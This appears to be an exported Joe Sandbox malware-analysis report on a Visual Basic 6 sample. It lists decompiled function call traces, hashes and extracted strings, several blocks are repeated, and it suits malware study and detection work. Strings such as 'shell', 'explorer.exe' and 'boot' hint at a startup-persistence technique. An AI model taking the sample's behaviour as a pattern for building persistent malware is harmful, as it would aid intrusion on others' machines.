__vbaSetSystemError.MSVBVM60(00000000), ref: 0041996C
#616.MSVBVM60(?,?), ref: 0041997A
__vbaStrMove.MSVBVM60 ref: 00419985
__vbaFreeStr.MSVBVM60(004199D0), ref: 004199C9
__vbaErrorOverflow.MSVBVM60(?), ref: 004199E6

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Error$FreeMoveSystem$Ansi$#606#616#644BstrChkstkListOverflowUnicode
String ID:
API String ID: 3094200983-0
Opcode ID: d6910d33025b062d129a1e8649d8f18e20bade111b3a8211ccca0156f543e9fa
Instruction ID: c4f5bd512d1b3bf9bc8ce298c4f3288c9308f79173eb6556b40925b4054b111f
Opcode Fuzzy Hash: d6910d33025b062d129a1e8649d8f18e20bade111b3a8211ccca0156f543e9fa
Instruction Fuzzy Hash: 2B410FB5900249EFDB04DFE4DE49BDEBBB8EB48305F104669F601B72A0DB746A44CB64

Function 004296C0 Relevance: 29.8, APIs: 13, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,?,0040CAFD,0042C0D4), ref: 004296DE
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042970E
__vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429723

Part of subcall function 004115D0: __vbaLenBstr.MSVBVM60(00000000), ref: 0041160D
Part of subcall function 004115D0: #631.MSVBVM60(?,?,?), ref: 00411658
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,?), ref: 00411663
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,?), ref: 0041166A
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,?), ref: 004116C8
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,?), ref: 004116D1
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 00411701
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0041170C
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 00411713

__vbaStrMove.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 0042973D
__vbaStrCat.MSVBVM60(00000000,?,?,?,00000000,004032B6), ref: 00429744
__vbaStrMove.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042974F
__vbaStrCat.MSVBVM60(explorer.exe, ,00000000,?,?,?,00000000,004032B6), ref: 00429761
__vbaStrMove.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042976C
__vbaStrCat.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429779
__vbaStrMove.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429784
__vbaStrCopy.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429792
__vbaStrCopy.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 004297A0

Part of subcall function 004295B0: __vbaStrToAnsi.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,004032B6,00000000), ref: 004295F7
Part of subcall function 004295B0: __vbaStrToAnsi.MSVBVM60(?,?,00000000,?,?,?,?,?,?,?,?,?,004032B6,00000000), ref: 00429604
Part of subcall function 004295B0: __vbaStrToAnsi.MSVBVM60(?,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,004032B6,00000000), ref: 00429611
Part of subcall function 004295B0: __vbaStrToAnsi.MSVBVM60(?,?,00000000,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?), ref: 0042961E
Part of subcall function 004295B0: __vbaSetSystemError.MSVBVM60(00000000,?,00000000,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?), ref: 00429629
Part of subcall function 004295B0: __vbaStrToUnicode.MSVBVM60(00000000,?,?,00000000,?,00000000,?,00000000), ref: 0042963D
Part of subcall function 004295B0: __vbaStrToUnicode.MSVBVM60(004032B6,?,?,00000000,?,00000000,?,00000000), ref: 00429647
Part of subcall function 004295B0: __vbaStrToUnicode.MSVBVM60(?,?,?,00000000,?,00000000,?,00000000), ref: 0042964E
Part of subcall function 004295B0: __vbaStrToUnicode.MSVBVM60(?,?,?,00000000,?,00000000,?,00000000), ref: 00429655
Part of subcall function 004295B0: __vbaI2I4.MSVBVM60(?,00000000,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,004032B6), ref: 0042965A
Part of subcall function 004295B0: __vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000000,?,00000000,?,00000000), ref: 00429675

__vbaFreeStrList.MSVBVM60(00000007,?,?,?,00000000,?,?,?,00000000,?,?,?,?,00000000), ref: 004297D9

Strings

shell, xrefs: 0042978A
explorer.exe, , xrefs: 0042975C
boot, xrefs: 00429798
yLb+$8, xrefs: 0042971B

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Move$AnsiFreeUnicode$Copy$#516#631ErrorList$BstrChkstkSystem
String ID: boot$explorer.exe, $shell$yLb+$8
API String ID: 913952100-2157437457
Opcode ID: 5a922159ef6c9492d48b2dcfb2da36ea5094812e49396599d2798a0ab338517f
Instruction ID: 6554cbec377a6d1fb2d016b249b8349fe5e87df9b4ee87d3b31f4120235b6aae
Opcode Fuzzy Hash: 5a922159ef6c9492d48b2dcfb2da36ea5094812e49396599d2798a0ab338517f
Instruction Fuzzy Hash: 9E311072910208EBCB05EF94DE58EDE7BB8FB48300F10812AF502B75A0DB745A48CBA4

Function 00419F80 Relevance: 28.1, APIs: 12, Strings: 4, Instructions: 84COMMON

Download Yara Rule

APIs

#712.MSVBVM60(?,\??\,00408114,00000001,000000FF,00000000,?,00000000,?,?,00000000,Function_000032B6,00000000), ref: 00419FCC
__vbaStrMove.MSVBVM60(?,\??\,00408114,00000001,000000FF,00000000,?,00000000,?,?,00000000,Function_000032B6,00000000), ref: 00419FD9
#712.MSVBVM60(?,\\?\,00408114,00000001,000000FF,00000000,?,\??\,00408114,00000001,000000FF,00000000,?,00000000), ref: 00419FEE
__vbaStrMove.MSVBVM60(?,\??\,00408114,00000001,000000FF,00000000,?,00000000,?,?,00000000,Function_000032B6,00000000), ref: 00419FF5
#712.MSVBVM60(?,\SystemRoot\,00000000,00000001,000000FF,00000001,?,\??\,00408114,00000001,000000FF,00000000,?,00000000), ref: 0041A00C
__vbaStrMove.MSVBVM60(?,\??\,00408114,00000001,000000FF,00000000,?,00000000,?,?,00000000,Function_000032B6,00000000), ref: 0041A013
#712.MSVBVM60(?,%systemroot%,00000000,00000001,000000FF,00000001,?,\??\,00408114,00000001,000000FF,00000000,?,00000000), ref: 0041A02B
__vbaStrMove.MSVBVM60(?,\??\,00408114,00000001,000000FF,00000000,?,00000000,?,?,00000000,Function_000032B6,00000000), ref: 0041A032
#712.MSVBVM60(?,00409A70,00406544,00000001,000000FF,00000000,?,\??\,00408114,00000001,000000FF,00000000,?,00000000), ref: 0041A047
__vbaStrMove.MSVBVM60(?,\??\,00408114,00000001,000000FF,00000000,?,00000000,?,?,00000000,Function_000032B6,00000000), ref: 0041A04E
__vbaStrCopy.MSVBVM60(?,\??\,00408114,00000001,000000FF,00000000,?,00000000,?,?,00000000,Function_000032B6,00000000), ref: 0041A056
__vbaFreeStr.MSVBVM60(0041A077,?,\??\,00408114,00000001,000000FF,00000000,?,00000000,?,?,00000000,Function_000032B6,00000000), ref: 0041A070

Strings

\\?\, xrefs: 00419FE8
\SystemRoot\, xrefs: 0041A006
%systemroot%, xrefs: 0041A025
\??\, xrefs: 00419FC0

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$#712Move$CopyFree
String ID: %systemroot%$\??\$\SystemRoot\$\\?\
API String ID: 2546659950-1311169778
Opcode ID: 3bbe944c0420e29e53f14083bd92761ec41afb95eb268ab6b37192bc3106c6e6
Instruction ID: d6e337f52aa0f406b5b9e7ae7ca613ada50fa9dc8b45b6b45c56035a55262318
Opcode Fuzzy Hash: 3bbe944c0420e29e53f14083bd92761ec41afb95eb268ab6b37192bc3106c6e6
Instruction Fuzzy Hash: 7F213771B502197BCB00DB54CD82FEFBBB9AB54714F20422AB211B72E4DAB45D458ED4

Function 004174C3 Relevance: 27.1, APIs: 18, Instructions: 103COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(004178BC), ref: 00417733
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$FreeMove$CopyUnlock$#616#631BstrErrorListSystem
String ID:
API String ID: 1554985673-0
Opcode ID: 6726c06902441f1d2235df1c00d48d0c759b3237af640a1265f08938f302ce1f
Instruction ID: babe0322a797a5b6fd9da037fd94c9e8bb3a8b55dbd2c7b94b419f711927b1e7
Opcode Fuzzy Hash: 6726c06902441f1d2235df1c00d48d0c759b3237af640a1265f08938f302ce1f
Instruction Fuzzy Hash: A741A575A04114DFC724DFA4ED849EE77B9EF48300F10456BE505A3261DB785986CF58

Function 0041744B Relevance: 27.1, APIs: 18, Instructions: 96COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(004178BC), ref: 00417733
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6D15A323,6D16D8B1,6D16D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B6E
__vbaSetSystemError.MSVBVM60 ref: 00417B9B
__vbaStrMove.MSVBVM60(?), ref: 00417BB5
__vbaStrMove.MSVBVM60(?), ref: 00417BC5
__vbaStrCat.MSVBVM60(?,00406F58,?,00000001), ref: 00417BD5
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BDC
__vbaStrCat.MSVBVM60(00406F58,00000000,?,00000001), ref: 00417BE4
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BEB
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417BF0
__vbaStrCat.MSVBVM60(?,00407CCC,00000000,00000001,?,00000001), ref: 00417C13
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C1A
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000001), ref: 00417C22
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C29
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417C2E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000001), ref: 00417C59
__vbaAryUnlock.MSVBVM60(?), ref: 00417C6E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00417CA1
__vbaSetSystemError.MSVBVM60(?,?,00000014), ref: 00417CB2

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Move$Error$Free$System$Unlock$BoundsCopyGenerateList$#616#631BstrLockOverflow
String ID:
API String ID: 1701566546-0
Opcode ID: cf3ab2ae2adb5bb4c47874d4caa9ec11272c050c9bbc593e4460deddaa42495f
Instruction ID: 2258cb0996f04db46dac934d03965dd60a716a157fe6f4ee4cac8ab8ed0125e9
Opcode Fuzzy Hash: cf3ab2ae2adb5bb4c47874d4caa9ec11272c050c9bbc593e4460deddaa42495f
Instruction Fuzzy Hash: 73316EB1A00119DFCB14DFA4ED84DEE7B79EF88300F50856AE506E3261DB385986CF68

Function 00417469 Relevance: 27.1, APIs: 18, Instructions: 96COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(004178BC), ref: 00417733
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6D15A323,6D16D8B1,6D16D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B6E
__vbaSetSystemError.MSVBVM60 ref: 00417B9B
__vbaStrMove.MSVBVM60(?), ref: 00417BB5
__vbaStrMove.MSVBVM60(?), ref: 00417BC5
__vbaStrCat.MSVBVM60(?,00406F58,?,00000001), ref: 00417BD5
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BDC
__vbaStrCat.MSVBVM60(00406F58,00000000,?,00000001), ref: 00417BE4
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BEB
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417BF0
__vbaStrCat.MSVBVM60(?,00407CCC,00000000,00000001,?,00000001), ref: 00417C13
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C1A
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000001), ref: 00417C22
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C29
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417C2E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000001), ref: 00417C59
__vbaAryUnlock.MSVBVM60(?), ref: 00417C6E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00417CA1
__vbaSetSystemError.MSVBVM60(?,?,00000014), ref: 00417CB2

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Move$Error$Free$System$Unlock$BoundsCopyGenerateList$#616#631BstrLockOverflow
String ID:
API String ID: 1701566546-0
Opcode ID: 246257148df8c58a63151417e2fa6cf9abfb38d00579c66028cbeba8a36e54a7
Instruction ID: 1778df844528236c0a987ac4d2ed461284e935b427befae0ad271591413caba1
Opcode Fuzzy Hash: 246257148df8c58a63151417e2fa6cf9abfb38d00579c66028cbeba8a36e54a7
Instruction Fuzzy Hash: A13150B5A00119DFCB14DFA4ED84DEE7779EF88300F10856AE506E3261DB385986CF68

Function 004174E1 Relevance: 27.1, APIs: 18, Instructions: 96COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(004178BC), ref: 00417733
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6D15A323,6D16D8B1,6D16D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B6E
__vbaSetSystemError.MSVBVM60 ref: 00417B9B
__vbaStrMove.MSVBVM60(?), ref: 00417BB5
__vbaStrMove.MSVBVM60(?), ref: 00417BC5
__vbaStrCat.MSVBVM60(?,00406F58,?,00000001), ref: 00417BD5
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BDC
__vbaStrCat.MSVBVM60(00406F58,00000000,?,00000001), ref: 00417BE4
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BEB
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417BF0
__vbaStrCat.MSVBVM60(?,00407CCC,00000000,00000001,?,00000001), ref: 00417C13
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C1A
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000001), ref: 00417C22
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C29
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417C2E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000001), ref: 00417C59
__vbaAryUnlock.MSVBVM60(?), ref: 00417C6E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00417CA1
__vbaSetSystemError.MSVBVM60(?,?,00000014), ref: 00417CB2

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Move$Error$Free$System$Unlock$BoundsCopyGenerateList$#616#631BstrLockOverflow
String ID:
API String ID: 1701566546-0
Opcode ID: 36b3d8d5935acc63e5f9ea94afa97a512f975b8c77cc1bcf6976f7907015c398
Instruction ID: f2cb84cfdc36a53c26a53c404fdd6523f55abe18ffc8f9b7dbfd1f77219752b6
Opcode Fuzzy Hash: 36b3d8d5935acc63e5f9ea94afa97a512f975b8c77cc1bcf6976f7907015c398
Instruction Fuzzy Hash: FD315075A00119DFCB14DFA4ED94DEE7779EF88300B10456AE506E3261DB349986CF68

Function 0041742D Relevance: 27.1, APIs: 18, Instructions: 94COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(004178BC), ref: 00417733
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6D15A323,6D16D8B1,6D16D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B6E
__vbaSetSystemError.MSVBVM60 ref: 00417B9B
__vbaStrMove.MSVBVM60(?), ref: 00417BB5
__vbaStrMove.MSVBVM60(?), ref: 00417BC5
__vbaStrCat.MSVBVM60(?,00406F58,?,00000001), ref: 00417BD5
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BDC
__vbaStrCat.MSVBVM60(00406F58,00000000,?,00000001), ref: 00417BE4
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BEB
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417BF0
__vbaStrCat.MSVBVM60(?,00407CCC,00000000,00000001,?,00000001), ref: 00417C13
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C1A
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000001), ref: 00417C22
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C29
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417C2E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000001), ref: 00417C59
__vbaAryUnlock.MSVBVM60(?), ref: 00417C6E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00417CA1
__vbaSetSystemError.MSVBVM60(?,?,00000014), ref: 00417CB2

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Move$Error$Free$System$Unlock$BoundsCopyGenerateList$#616#631BstrLockOverflow
String ID:
API String ID: 1701566546-0
Opcode ID: 07de24749f671f96814f1a4586ac660af873eea27dc505617471f5a8f1a16d63
Instruction ID: 6a6c65185a8990ed76a7925615099f76a1e8909006d367d433fa78fd926de25a
Opcode Fuzzy Hash: 07de24749f671f96814f1a4586ac660af873eea27dc505617471f5a8f1a16d63
Instruction Fuzzy Hash: 70318071A00158DFCB14DBE4ED84DEE7B79EF88300B10456AE505E3261DA345986CF68

Function 004174FF Relevance: 27.1, APIs: 18, Instructions: 93COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(004178BC), ref: 00417733
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6D15A323,6D16D8B1,6D16D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B6E
__vbaSetSystemError.MSVBVM60 ref: 00417B9B
__vbaStrMove.MSVBVM60(?), ref: 00417BB5
__vbaStrMove.MSVBVM60(?), ref: 00417BC5
__vbaStrCat.MSVBVM60(?,00406F58,?,00000001), ref: 00417BD5
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BDC
__vbaStrCat.MSVBVM60(00406F58,00000000,?,00000001), ref: 00417BE4
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BEB
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417BF0
__vbaStrCat.MSVBVM60(?,00407CCC,00000000,00000001,?,00000001), ref: 00417C13
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C1A
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000001), ref: 00417C22
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C29
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417C2E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000001), ref: 00417C59
__vbaAryUnlock.MSVBVM60(?), ref: 00417C6E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00417CA1
__vbaSetSystemError.MSVBVM60(?,?,00000014), ref: 00417CB2

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Move$Error$Free$System$Unlock$BoundsCopyGenerateList$#616#631BstrLockOverflow
String ID:
API String ID: 1701566546-0
Opcode ID: 77e56cfcc552817e7ee37a59d80ef930704b94eed13a9294e71aa4068a8ebed6
Instruction ID: 866caa4c8eac6f19f1194a02b11e2fb1ed896fcf014f3bed80b5db7ea06780d3
Opcode Fuzzy Hash: 77e56cfcc552817e7ee37a59d80ef930704b94eed13a9294e71aa4068a8ebed6
Instruction Fuzzy Hash: A53160B1A00158DFCB14DBA4ED94DEE7B79EF88300F10856AE506A3261DB345986CF68

Function 00417487 Relevance: 27.1, APIs: 18, Instructions: 93COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(004178BC), ref: 00417733
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6D15A323,6D16D8B1,6D16D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B6E
